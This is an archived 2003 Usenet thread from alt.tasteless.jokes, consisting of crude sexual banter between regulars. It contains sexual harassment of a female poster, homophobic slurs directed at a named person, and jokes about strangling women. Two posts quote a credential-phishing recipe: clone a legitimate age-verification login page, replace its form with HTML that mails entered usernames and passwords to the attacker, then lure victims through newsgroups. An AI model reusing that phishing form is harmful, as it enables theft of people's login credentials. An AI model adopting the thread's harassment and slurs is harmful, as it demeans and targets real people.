• Re: Make The Title Of The Thread Unique Enough To Find (Was: Please

    From Pollywolly@pollygirlnz@ihug.com.au to alt.tasteless.jokes on Tuesday, July 01, 2003 11:14:02
    From Newsgroup: alt.tasteless.jokes


    "Jesus" <jesus@heaven.universe> wrote in message news:84j0gvcvv9lit1k5be4h6emda70rp4to7d@4ax.com...
    On Mon, 30 Jun 2003 19:13:26 +1000, "Pollywolly" <pollygirlnz@ihug.com.au> wrote in message <bdouvs$utq$1@lust.ihug.co.nz>:
    "Keith E." <i.m.knot@aol.com> wrote in message
    Sun, 29 Jun 2003 16:52:36 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:
    Well, then, no Tupperware Party for you! Use your imagination. >>>>>>>>Be more ambitious. Show a little initiative.
    I show plenty of initiative - amongst other things. >>>>>>..........show us yer tits........
    What for?
    It's kinda like the reason for climbing Everest - because they're >>>>there! Initiate yer tits!
    Sounds like a launching sequence call
    That'll work, launch yer bra!
    I'm sorry - it will remain firmly docked

    I'll unchain yer heart.

    I don't get it


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  • From Pollywolly@pollygirlnz@ihug.com.au to alt.tasteless.jokes on Tuesday, July 01, 2003 11:19:03
    From Newsgroup: alt.tasteless.jokes


    "Jesus" <jesus@heaven.universe> wrote in message news:tl01gvs32msdhvt14jmoq440jod6l2os8u@4ax.com...
    On Mon, 30 Jun 2003 23:09:16 +1000, "Pollywolly" <pollygirlnz@ihug.com.au> wrote in message <bdpcrb$cdf$1@lust.ihug.co.nz>:
    "Jesus" <jesus@heaven.universe> wrote in message
    On Sun, 29 Jun 2003 16:18:03 +1000, "Pollywolly"
    <pollygirlnz@ihug.com.au>
    "Jesus" <jesus@heaven.universe> wrote in message
    On Sat, 28 Jun 2003 20:24:03 +1000, "Pollywolly"
    "Jesus" <jesus@heaven.universe> wrote in message
    On Fri, 27 Jun 2003 18:31:06 +1000, "Pollywolly"
    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in >>>>>>>>On Wed, 25 Jun 2003 20:21:57 +1000, "Pollywolly"
    wouldn't you like to be a slut for a day? just fuck men all day >>>>>>>>>>long.
    just let it all go and give in to your hot lust?
    I've had several days like that - with just one man though >>>>>>>>Well, then, no Tupperware Party for you! Use your imagination.
    Be
    more ambitious. Show a little initiative.
    I show plenty of initiative - amongst other things.
    you haven't lived yet if you haven't been in a sexual orgy.
    by the time yer 40, you should have fucked over 500 men.
    How are you going with reaching that goal?
    i've fucked over 200 women. then i got bored of it.
    But you haven't fucked over 500 men?
    i prefer to fuck them out of money.
    Women do that all the time

    and i strangle them to death.

    Why?


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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Tuesday, July 01, 2003 01:49:11
    From Newsgroup: alt.tasteless.jokes

    Mon, 30 Jun 2003 19:13:58 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:
    "Keith E." <i.m.knot@aol.com> wrote in message >news:3b779dd2e3ed447a8d24765d3896d875@news.1usenet.com...
    Sun, 29 Jun 2003 16:56:41 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:
    "Keith E." <i.m.knot@aol.com> wrote in message
    news:e2f768bd280265e0fad29faa635dc4ce@news.1usenet.com...
    Sat, 28 Jun 2003 18:29:16 +0200 was a day just like any other,
    until Jesus <jesus@heaven.universe> wrote:
    On Fri, 27 Jun 2003 20:47:21 GMT, Keith E. <i.m.knot@aol.com> wrote in >> >> >message <53dea9512c142113e5609ab975d0a7ab@news.1usenet.com>:
    And I say fuck off to guys that invite themselves.

    what do you say to guys that you invite?

    "Hold me."?

    "Stand still."

    "This won't hurt a bit"

    Trust me.

    How do they respond to that approach Keith?

    Try it. Trust me!

    --
    Keith E.
    Excrementum casus
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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Tuesday, July 01, 2003 01:49:10
    From Newsgroup: alt.tasteless.jokes

    Sun, 29 Jun 2003 12:42:19 -0800 was a day just like any other,
    until "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net>
    wrote:

    On Sun, 29 Jun 2003 16:52:36 +1000, "Pollywolly"
    <pollygirlnz@ihug.com.au> wrote in alt.tasteless.jokes:

    Well, then, no Tupperware Party for you! Use your imagination. Be >>> >> >> more ambitious. Show a little initiative.

    I show plenty of initiative - amongst other things.

    ..........show us yer tits........

    What for?

    It's kinda like the reason for climbing Everest - because they're
    there! Initiate yer tits!

    Sounds like a launching sequence call


    Some of them do resemble missiles.

    Buick bumpers!

    --
    Keith E.
    Excrementum casus
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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Tuesday, July 01, 2003 02:44:35
    From Newsgroup: alt.tasteless.jokes

    Mon, 30 Jun 2003 20:17:04 +0200 was a day just like any other,
    until Jesus <jesus@heaven.universe> wrote:

    On Sun, 29 Jun 2003 20:24:48 GMT, Keith E. <i.m.knot@aol.com> wrote in >message <ca27830f28def93097005fb89dab9bd0@news.1usenet.com>:
    Sun, 29 Jun 2003 03:52:39 +0200 was a day just like any other,
    until Jesus <jesus@heaven.universe> wrote:
    On Sun, 29 Jun 2003 01:12:13 GMT, Keith E. <i.m.knot@aol.com> wrote in >>>>Sat, 28 Jun 2003 18:29:16 +0200 was a day just like any other,
    until Jesus <jesus@heaven.universe> wrote:
    On Fri, 27 Jun 2003 20:47:21 GMT, Keith E. <i.m.knot@aol.com> wrote in >>>>>>Fri, 27 Jun 2003 14:06:29 +0200 was a day just like any other, >>>>>>until Jesus <jesus@heaven.universe> wrote:
    On Wed, 25 Jun 2003 20:51:32 GMT, Keith E. <i.m.knot@aol.com> wrote in >>>>>>>>Wed, 25 Jun 2003 09:06:56 +0200 was a day just like any other, >>>>>>>>until Jesus <jesus@heaven.universe> wrote:
    On Wed, 25 Jun 2003 00:14:58 GMT, Keith E. <i.m.knot@aol.com> wrote in >>>>>>>>>>Mon, 23 Jun 2003 20:24:32 +0200 was a day just like any other, >>>>>>>>>>until Jesus <jesus@heaven.universe> wrote:
    On Mon, 23 Jun 2003 17:01:41 GMT, Keith E. <i.m.knot@aol.com> wrote in
    ARGH!!! You've got John Wayne,
    man, that guy was boring. saw him in Green Beret. what a chump. >>>>>>>>>>Jeez, he was almost dead then. Try Red River, Stagecoach, or El >>>>>>>>>>Dorado. Or In Harm's Way. That's a fuckin' great movie. >>>>>>>>>invite me over to watch it with you.
    I don't even invite women over.
    that's fine then. shall we say this time next year?
    And I say fuck off to guys that invite themselves.
    what do you say to guys that you invite?
    "Hold me."?
    "Stand still."
    poofter.
    <ka-POW!>

    i say 'poofter' and you shoot yer load.

    but will you respect me in the morning?

    Why, is something going to happen before then to make it happen?

    --
    Keith E.
    Excrementum casus
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 02:53:43
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 00:27:35 +1000, Return of Pollywolly hurled <3efb02d9$0$30823$afc38c87@news.optusnet.com.au> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 78 bandwidth-killing lines of moronic idiocy...

    you'll never root me,
    mr smooth talkin' nas md!

    no ass reference.. there's a first

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 02:57:25
    From Newsgroup: alt.tasteless.jokes

    On Thu, 26 Jun 2003 19:53:48 GMT, Keith E. hurled <3ae9b6f4499aabd31a517f0d66d15ca8@news.1usenet.com> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 29 bandwidth-killing lines of moronic idiocy...

    Thu, 26 Jun 2003 05:16:09 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    wanna harvest passwords to AVSs? Set up a subdirectory in a Geocities type >>account with a pRon page, copy the HTML of a legit AVS and redirect to a >>throwaway e-mail account by replacing their form code with:

    <FORM ACTION="/cgi-bin/formmail.pl" METHOD="POST" >>ENCTYPE="application/x-www-form-urlencoded">
    <INPUT TYPE="HIDDEN" Name="username" Value="yourusername">
    <CENTER><INPUT NAME="subject" VALUE="AC Snarfed Code" TYPE=HIDDEN></CENTER> >><CENTER><INPUT NAME="recipient" VALUE="youraddress@hotmail.com" >>TYPE=HIDDEN></CENTER>
    <INPUT TYPE="HIDDEN" Name="redirect" >>Value="http://yourwebhost.com/~yourpage/porno.htm">
    <INPUT size=30 maxlength=30 name="id"></td><td><center>
    <INPUT TYPE="submit" VALUE="Enter This Site!"></td></tr>

    ..throw up a few pics in alt.binaries._whatever_ with a link into your >>subdirectory 'site' and check your e-mail account in a few days

    keep replacing the AVS with new ones and you'll have virtually unlimited access
    to hundreds of thousands of pages, fo flee!

    Or you can just d/l the newsgroup.

    ..that's filled with repeats, teasers, and spam for the fresh thumbnailed stuff on the internet

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 02:57:56
    From Newsgroup: alt.tasteless.jokes

    On Thu, 26 Jun 2003 20:06:56 -0800, Vanilla Gorilla (Monkey Boy) hurled <8lgnfvgapql8adc90aq16e04rsi4c13mdl@4ax.com> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 19 bandwidth-killing lines of moronic idiocy...

    On Thu, 26 Jun 2003 05:16:09 -0600, "-ES-|-M-"
    <m|-M-+|@+sSremover.com> wrote in alt.tasteless.jokes:

    wanna harvest passwords to AVSs? Set up a subdirectory in a Geocities type >>account with a pRon page, copy the HTML of a legit AVS and redirect to a >>throwaway e-mail account by replacing their form code with:

    Viewing pr0n on the Web is just about the worst possible way to do it. >Allegedly.

    the hacker site I pulled that from seemed to disagree

    ..I'd bet there's dozens of naked women on the internet

    NewsRover kicks total ass for binary newsgroups, though.

    a friend of mine told me he overheard a similar rumor..

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:00:51
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 18:36:33 +1000, Pollywolly hurled <bdgvml$nce$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 77 bandwidth-killing lines of moronic idiocy...

    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message >news:7allfvolleba847hibsjrkjl7evu9pn2ce@4ax.com...
    On Mon, 23 Jun 2003 08:55:58 +1000, Pollywolly hurled
    <bd5c61$vi$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where >it
    constantly lurks, whines, and trolls, crapping on society with 51
    bandwidth-killing lines of moronic idiocy...

    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message
    news:i1vbfvg2scj3cnuu704i165pbe1o027upq@4ax.com...
    On Sun, 22 Jun 2003 11:49:30 +1000, Pollywolly hurled
    <bd31ve$vf9$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes,
    where it
    constantly lurks, whines, and trolls, crapping on society with 23
    bandwidth-killing lines of moronic idiocy...

    "Jesus" <jesus@heaven.universe> wrote in message
    news:q5g8fv89lj1nhembn9por9hiqk75h99905@4ax.com...
    On Fri, 20 Jun 2003 10:56:15 -0600, "-ES-|-M-" ><m|-M-+|@+sSremover.com>
    wrote in message <e5f6fvss2j896a18bffkln1nh7k13909ue@4ax.com>:
    On Thu, 19 Jun 2003 17:27:08 +0200, Jesus hurled
    the one film technique I really loved was the updated car chase >scene
    they
    did. i have never seen a film where the camera goes through the
    oncoming
    vehicle. so you're perpetually crashing into cars and trucks. that >> >was
    awesome.
    Speed (also starring Keanu Reeves) was pretty exciting stuff, but
    this
    was
    the ultimate update on that genre.
    I have a feeling the real jaw-dropping effects will be in
    Revolutions..

    looking at it now, bullet time is quite a cheesy effect.

    next Harry Potter will be doing it.

    Hey! I like Harry Potter

    ..you probably stood in line for ten hours to be one of the first to
    get
    the new
    book

    Nah I walked in the second day - no lines then

    the funny thing was seeing a 2,000 book display the next day at a Sam's >Club
    where the patient ones got to snag it for about $6.00 less than the cover >price.

    I got it for a few bucks less too

    there was a line at a Barnes & Noble that wrapped around the building
    twice..

    ..just to read about some braindead kids that wave magic wands

    The fact that J.K Rowling has managed to get a generation of kids to
    enjoy
    reading again is admirable. Kids like that kind of book.

    sure.. they also like to nail frogs by the feet to a fence post and throw >darts
    at 'em. Kids need to be kept away from that hocus pocus fantasy shit and >get a
    job delivering newspapers to pay for that car they'll want when they're >sixteen.

    Your parents curbed your imagination didn't they?

    I went after 'em with an ax after they made me finish my lima beans..

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:01:08
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 18:43:10 +1000, Pollywolly hurled <bdh033$npg$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 89 bandwidth-killing lines of moronic idiocy...

    "Return of Pollywolly" <monkey@thezoo.com> wrote in message >news:3efb02d9$0$30823$afc38c87@news.optusnet.com.au...

    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message
    news:7allfvolleba847hibsjrkjl7evu9pn2ce@4ax.com...
    On Mon, 23 Jun 2003 08:55:58 +1000, Pollywolly hurled
    <bd5c61$vi$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, >where
    it
    constantly lurks, whines, and trolls, crapping on society with 51
    bandwidth-killing lines of moronic idiocy...

    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message
    news:i1vbfvg2scj3cnuu704i165pbe1o027upq@4ax.com...
    On Sun, 22 Jun 2003 11:49:30 +1000, Pollywolly hurled
    <bd31ve$vf9$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, >> > >where it
    constantly lurks, whines, and trolls, crapping on society with 23
    bandwidth-killing lines of moronic idiocy...

    "Jesus" <jesus@heaven.universe> wrote in message
    news:q5g8fv89lj1nhembn9por9hiqk75h99905@4ax.com...
    On Fri, 20 Jun 2003 10:56:15 -0600, "-ES-|-M-"
    <m|-M-+|@+sSremover.com>
    wrote in message <e5f6fvss2j896a18bffkln1nh7k13909ue@4ax.com>:
    On Thu, 19 Jun 2003 17:27:08 +0200, Jesus hurled
    the one film technique I really loved was the updated car chase
    scene
    they
    did. i have never seen a film where the camera goes through the
    oncoming
    vehicle. so you're perpetually crashing into cars and trucks. >that
    was
    awesome.
    Speed (also starring Keanu Reeves) was pretty exciting stuff,
    but
    this
    was
    the ultimate update on that genre.
    I have a feeling the real jaw-dropping effects will be in
    Revolutions..

    looking at it now, bullet time is quite a cheesy effect.

    next Harry Potter will be doing it.

    Hey! I like Harry Potter

    ..you probably stood in line for ten hours to be one of the first to
    get
    the new
    book

    Nah I walked in the second day - no lines then

    the funny thing was seeing a 2,000 book display the next day at a Sam's
    Club
    where the patient ones got to snag it for about $6.00 less than the
    cover
    price.

    there was a line at a Barnes & Noble that wrapped around the building >> > >twice..

    ..just to read about some braindead kids that wave magic wands

    The fact that J.K Rowling has managed to get a generation of kids to
    enjoy
    reading again is admirable. Kids like that kind of book.

    sure.. they also like to nail frogs by the feet to a fence post and
    throw
    darts
    at 'em. Kids need to be kept away from that hocus pocus fantasy shit
    and
    get a
    job delivering newspapers to pay for that car they'll want when they're
    sixteen.

    M-

    you'll never root me,
    mr smooth talkin' nas md!

    That's not smooth talking marvin - more like demented raving

    ..and it gets dementeder

    <pissing on electric fence>

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:01:39
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 14:03:14 +0200, Jesus hurled <s1ulfvk7uvl2bg8v24fsos996njqjbjm4i@4ax.com> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 60 bandwidth-killing lines of moronic idiocy...

    On Thu, 26 Jun 2003 05:14:04 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com>
    wrote in message <7allfvolleba847hibsjrkjl7evu9pn2ce@4ax.com>:
    On Mon, 23 Jun 2003 08:55:58 +1000, Pollywolly hurled >><bd5c61$vi$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it >>constantly lurks, whines, and trolls, crapping on society with 51 >>bandwidth-killing lines of moronic idiocy...
    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message >>>news:i1vbfvg2scj3cnuu704i165pbe1o027upq@4ax.com...
    On Sun, 22 Jun 2003 11:49:30 +1000, Pollywolly hurled
    <bd31ve$vf9$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, >>>where it
    constantly lurks, whines, and trolls, crapping on society with 23
    bandwidth-killing lines of moronic idiocy...
    "Jesus" <jesus@heaven.universe> wrote in message
    news:q5g8fv89lj1nhembn9por9hiqk75h99905@4ax.com...
    On Fri, 20 Jun 2003 10:56:15 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com> >>>> >> wrote in message <e5f6fvss2j896a18bffkln1nh7k13909ue@4ax.com>:
    On Thu, 19 Jun 2003 17:27:08 +0200, Jesus hurled
    the one film technique I really loved was the updated car chase scene >>>> >they
    did. i have never seen a film where the camera goes through the >>>oncoming
    vehicle. so you're perpetually crashing into cars and trucks. that >>>was
    awesome.
    Speed (also starring Keanu Reeves) was pretty exciting stuff, but >>>this
    was
    the ultimate update on that genre.
    I have a feeling the real jaw-dropping effects will be in >>>Revolutions..
    looking at it now, bullet time is quite a cheesy effect.
    next Harry Potter will be doing it.
    Hey! I like Harry Potter
    ..you probably stood in line for ten hours to be one of the first to get >>>the new
    book
    Nah I walked in the second day - no lines then
    the funny thing was seeing a 2,000 book display the next day at a Sam's Club >>where the patient ones got to snag it for about $6.00 less than the cover price.

    next year I will buy it by it's weight in a second hand book shop.

    ..right now it's worth its weight in gummi bears

    there was a line at a Barnes & Noble that wrapped around the building >>>twice..
    ..just to read about some braindead kids that wave magic wands
    The fact that J.K Rowling has managed to get a generation of kids to enjoy >>>reading again is admirable. Kids like that kind of book.
    sure.. they also like to nail frogs by the feet to a fence post and throw darts
    at 'em. Kids need to be kept away from that hocus pocus fantasy shit and get a
    job delivering newspapers to pay for that car they'll want when they're sixteen.

    00s update: kids deal drugs in clubs to pay for their drug habit.

    yeah.. the paper delivery routes' are a cover for their distribution

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:01:41
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 14:03:18 +0200, Jesus hurled <v9ulfv487t2f70kclt0v2a0s63nk0p9q1p@4ax.com> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 50 bandwidth-killing lines of moronic idiocy...

    On Thu, 26 Jun 2003 05:16:17 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com>
    wrote in message <rfllfvckuu6qudfoljmdjbkojtbck2pmdi@4ax.com>:
    On Mon, 23 Jun 2003 01:52:03 +0200, Jesus hurled >><e2ecfvce2l8lq3qtg07ad74m4ct8pog8hi@4ax.com> into the abyss of >>alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 38 bandwidth-killing lines of moronic idiocy...
    On Sun, 22 Jun 2003 12:57:56 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com> >>>wrote in message <i1vbfvg2scj3cnuu704i165pbe1o027upq@4ax.com>:
    On Sun, 22 Jun 2003 11:49:30 +1000, Pollywolly hurled >>>><bd31ve$vf9$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it
    constantly lurks, whines, and trolls, crapping on society with 23 >>>>bandwidth-killing lines of moronic idiocy...
    "Jesus" <jesus@heaven.universe> wrote in message >>>>>news:q5g8fv89lj1nhembn9por9hiqk75h99905@4ax.com...
    On Fri, 20 Jun 2003 10:56:15 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com> >>>>>> wrote in message <e5f6fvss2j896a18bffkln1nh7k13909ue@4ax.com>:
    On Thu, 19 Jun 2003 17:27:08 +0200, Jesus hurled
    the one film technique I really loved was the updated car chase scene >>>>>they
    did. i have never seen a film where the camera goes through the oncoming
    vehicle. so you're perpetually crashing into cars and trucks. that was >>>>>> >>awesome.
    Speed (also starring Keanu Reeves) was pretty exciting stuff, but this >>>>>was
    the ultimate update on that genre.
    I have a feeling the real jaw-dropping effects will be in Revolutions.. >>>>>> looking at it now, bullet time is quite a cheesy effect.
    next Harry Potter will be doing it.
    Hey! I like Harry Potter
    ..you probably stood in line for ten hours to be one of the first to get the new
    book
    there was a line at a Barnes & Noble that wrapped around the building twice..
    ..just to read about some braindead kids that wave magic wands
    heh. i was thinking of buying a copy to give as a gift to someone. but at >>>R240 a copy, they can wait till the paperback version comes out. at the >>>local thrift bookstore.
    I'll wait for the movie and shoot spitwads at the screen..

    a customer of mine just came back from Nigeria with a shitload of pirated >DVDs on video cd. watched Harry Potter and the Chamber of Secrets on my PC >last night.

    but the quality was not good.

    horse shit just looks shittier in high resolution..

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:02:05
    From Newsgroup: alt.tasteless.jokes

    On Fri, 27 Jun 2003 20:45:29 GMT, Keith E. hurled <12abb5e1f4b39f4be2f2dabec1d20190@news.1usenet.com> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 17 bandwidth-killing lines of moronic idiocy...

    Fri, 27 Jun 2003 18:31:06 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:


    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in message >>news:a3rkfvgpp2m125uco6polk2ak5d2404eve@4ax.com...

    Well, then, no Tupperware Party for you! Use your imagination. Be
    more ambitious. Show a little initiative.

    I show plenty of initiative - amongst other things.

    ..........show us yer tits........

    Spit's posted from Vegas before..

    you certain he's there?

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:02:11
    From Newsgroup: alt.tasteless.jokes

    On Sat, 28 Jun 2003 20:24:03 +1000, Pollywolly hurled <bdjqc6$512$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 24 bandwidth-killing lines of moronic idiocy...

    "Jesus" <jesus@heaven.universe> wrote in message >news:sheofv4jnurq1b7ae125ripdb8hobel4qo@4ax.com...
    On Fri, 27 Jun 2003 18:31:06 +1000, "Pollywolly" <pollygirlnz@ihug.com.au> >> wrote in message <bdgvci$n0o$1@lust.ihug.co.nz>:
    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in >message
    On Wed, 25 Jun 2003 20:21:57 +1000, "Pollywolly"
    <pollygirlnz@ihug.com.au> wrote in alt.tasteless.jokes:
    wouldn't you like to be a slut for a day? just fuck men all day
    long.
    just let it all go and give in to your hot lust?
    I've had several days like that - with just one man though
    Well, then, no Tupperware Party for you! Use your imagination. Be
    more ambitious. Show a little initiative.
    I show plenty of initiative - amongst other things.

    you haven't lived yet if you haven't been in a sexual orgy.

    by the time yer 40, you should have fucked over 500 men.

    How are you going with reaching that goal?

    he surpassed it at 30..

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From ╤≡S-|-M╨@mÃÐMÁ×¹@ÅsSremover.com to alt.tasteless.jokes on Tuesday, July 01, 2003 03:02:33
    From Newsgroup: alt.tasteless.jokes

    On Sat, 28 Jun 2003 23:32:11 +1000, marvin hurled <3efd98de$0$30823$afc38c87@news.optusnet.com.au> into the abyss of alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on society with 27 bandwidth-killing lines of moronic idiocy...

    "Pollywolly" <pollygirlnz@ihug.com.au> wrote in message >news:bdjr11$5mn$1@lust.ihug.co.nz...

    "Keith E." <i.m.knot@aol.com> wrote in message
    news:12abb5e1f4b39f4be2f2dabec1d20190@news.1usenet.com...
    Fri, 27 Jun 2003 18:31:06 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:


    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in
    message
    news:a3rkfvgpp2m125uco6polk2ak5d2404eve@4ax.com...

    Well, then, no Tupperware Party for you! Use your imagination. Be
    more ambitious. Show a little initiative.

    I show plenty of initiative - amongst other things.

    ..........show us yer tits........

    What for?

    its compulsory - all posters must show their tits when a request is put to >them - atj code of conduct.

    show us yer clit..

    M-

    Frequent lock-ups are a symptom of not enough memory in the same
    way nosebleeds are a symptom of gunshot wounds to the head..

    "'good'?!? ..she can suck a red-giant through a pipette!"
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  • From The Return Of GP@The_Return_Of_GP@NoFagBoysAllowed.Com to alt.tasteless.jokes on Tuesday, July 01, 2003 17:04:21
    From Newsgroup: alt.tasteless.jokes



    --
    http://www.geocities.com/mystacy/atjfaq.htm

    http://www.mystacy.com/fagboymel/melmorph.html

    "Kiwis are best" <1kiwi@ekatahuna.pub> wrote in message news:RGnLa.56682$JA5.1002681@news.xtra.co.nz...


    --
    *******************************
    Read the Official atj FAQ here:
    http://www.geocities.com/mystacy/atjfaq.htm
    *******************************

    Q. What has 4 legs and an arse at each end of its otherwise sluglike body?
    A. colin green the kiwi queer




    "marvin" <marvin@pissoff.com> wrote in message news:3efd98de$0$30823$afc38c87@news.optusnet.com.au...
    :
    : "Pollywolly" <pollygirlnz@ihug.com.au> wrote in message
    : news:bdjr11$5mn$1@lust.ihug.co.nz...
    : >
    : > "Keith E." <i.m.knot@aol.com> wrote in message
    : > news:12abb5e1f4b39f4be2f2dabec1d20190@news.1usenet.com...
    : > > Fri, 27 Jun 2003 18:31:06 +1000 was a day just like any other,
    : > > until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:
    : > >
    : > > >
    : > > >"Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in
    : > message
    : > > >news:a3rkfvgpp2m125uco6polk2ak5d2404eve@4ax.com...
    : > > >>
    : > > >> Well, then, no Tupperware Party for you! Use your imagination.
    Be
    : > > >> more ambitious. Show a little initiative.
    : > > >
    : > > >I show plenty of initiative - amongst other things.
    : > >
    : > > ..........show us yer tits........
    : >
    : > What for?
    :
    : its compulsory - all posters must show their tits when a request is put
    to
    : them - atj code of conduct.


    --
    *******************************
    Read the Official atj FAQ here:
    http://www.geocities.com/mystacy/atjfaq.htm
    *******************************

    Q. What has 4 legs and an arse at each end of its otherwise sluglike body?
    A. colin green the kiwi queer



    he hasn't got any

    the only ones you'll ever have will belong to someone else kiwi.



    Q: Why do blondes wear shoulder pads?
    A: (With a rocking of the head from side to side) I dunno!




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  • From Jesus@jesus@heaven.universe to alt.tasteless.jokes on Wednesday, July 02, 2003 02:13:40
    From Newsgroup: alt.tasteless.jokes

    On Tue, 1 Jul 2003 11:19:03 +1000, "Pollywolly" <pollygirlnz@ihug.com.au>
    wrote in message <bdqnif$ad5$1@lust.ihug.co.nz>:
    "Jesus" <jesus@heaven.universe> wrote in message
    On Mon, 30 Jun 2003 23:09:16 +1000, "Pollywolly" <pollygirlnz@ihug.com.au> >>>"Jesus" <jesus@heaven.universe> wrote in message
    On Sun, 29 Jun 2003 16:18:03 +1000, "Pollywolly"
    "Jesus" <jesus@heaven.universe> wrote in message
    On Sat, 28 Jun 2003 20:24:03 +1000, "Pollywolly"
    "Jesus" <jesus@heaven.universe> wrote in message
    On Fri, 27 Jun 2003 18:31:06 +1000, "Pollywolly"
    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in >>>>>>>>>>On Wed, 25 Jun 2003 20:21:57 +1000, "Pollywolly"
    wouldn't you like to be a slut for a day? just fuck men all day >>>>>>>>>>>>long.
    just let it all go and give in to your hot lust?
    I've had several days like that - with just one man though >>>>>>>>>>Well, then, no Tupperware Party for you! Use your imagination. >>>>>>>>>>Be more ambitious. Show a little initiative.
    I show plenty of initiative - amongst other things.
    you haven't lived yet if you haven't been in a sexual orgy.
    by the time yer 40, you should have fucked over 500 men.
